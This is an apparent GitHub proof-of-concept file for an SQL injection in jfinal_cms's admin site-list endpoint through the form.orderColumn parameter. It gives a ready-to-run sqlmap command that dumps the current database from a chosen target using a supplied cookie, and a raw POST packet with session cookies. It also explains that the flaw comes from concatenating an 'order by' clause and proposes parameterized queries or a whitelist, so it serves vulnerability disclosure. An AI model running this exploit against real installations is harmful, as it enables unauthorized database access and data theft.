AgainstTheLight / someEXP_of_jfinal_cms Public

Code Issues Pull requests Actions Projects Security Insights

main

someEXP_of_jfinal_cms / jfinal_cms / sql9.md

AgainstTheLight Add files via upload History

1 contributor

64 lines (38 sloc) 1.82 KB

POC

First of all you should install sqlmap

you need set

- target domain or IP
- your cookie

the run the shell

```
sqlmap -u http://targetDomainOrIP/jfinal_cms/admin/site/list  --thread 8 --batch
--smart  --random-agent --data "form.orderColumn=*&form.orderAsc=&attr.name=123"
--cookie "  your cookie  " --current-db
```

Sometimes you should know that the /jfinal_cms/ is not necessary ,you need juede the route

principle

you can see the code of interface /system/menu/list

```
sql.append(" order by ").append(orderBy);
```

There is a sql statement directly spliced

what is more

There is no measure to prevent sql injection because sql injection is required here

solution

By analyzing this function point, I found that the injection of orderby is fixed, such as id, name, menu key, so you can try to use parameterized query or make a whitelist

packet

```
POST /jfinal_cms/admin/site/list HTTP/1.1
Host: 172.30.48.1
Content-Length: 46
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.30.48.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
exchange;v=b3;q=0.9
Referer: http://172.30.48.1/jfinal_cms/admin/site/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BF13B42EDFC3DEC180959D6DF143BD18;
session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c=";
Hm_lvt_1040d081eea13b44d84a4af639640d51=1659122360,1659131581;
Hm_lpvt_1040d081eea13b44d84a4af639640d51=1659131581
Connection: close

form.orderColumn=*&form.orderAsc=&attr.name=123
```